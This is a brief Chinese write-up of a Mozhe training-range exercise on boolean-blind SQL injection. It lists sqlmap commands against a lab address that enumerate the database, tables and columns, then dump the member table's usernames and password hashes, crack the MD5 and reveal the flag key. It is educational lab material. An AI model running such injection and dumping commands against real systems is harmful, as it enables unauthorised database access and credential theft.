SQL注入漏洞测试(布尔盲注)

靶场地址:https://www.mozhe.cn/bug/detail/UDNpU0gwcUhXTUFvQm9HRVdOTmNTdz09bW96aGUmozhe
根据题意
SQL注入漏洞测试(布尔盲注)_第1张图片

  1. 停机维护通知发现注入点
    SQL注入漏洞测试(布尔盲注)_第2张图片
  2. sqlmap -u http://219.153.49.228:46612/new_list.php?id=1 --current-db 获取到的数据库名是stormgroup
    在这里插入图片描述
  3. sqlmap -u http://219.153.49.228:46612/new_list.php?id=1 -D stormgroup --tables 获取到的表是member和notice
    SQL注入漏洞测试(布尔盲注)_第3张图片
  4. sqlmap -u http://219.153.49.228:46612/new_list.php?id=1 -D stormgroup -T member --columns 获取到的列名分别是 name password status
    SQL注入漏洞测试(布尔盲注)_第4张图片
  5. sqlmap -u http://219.153.49.228:46612/new_list.php?id=1 -D stormgroup -T member -C name,password --dump
    SQL注入漏洞测试(布尔盲注)_第5张图片
  6. md5解密后登录获取key:mozhe7fbe108f3f82d8bc068635a3b50

SQL注入漏洞测试(布尔盲注)_第6张图片

你可能感兴趣的:(墨者学院)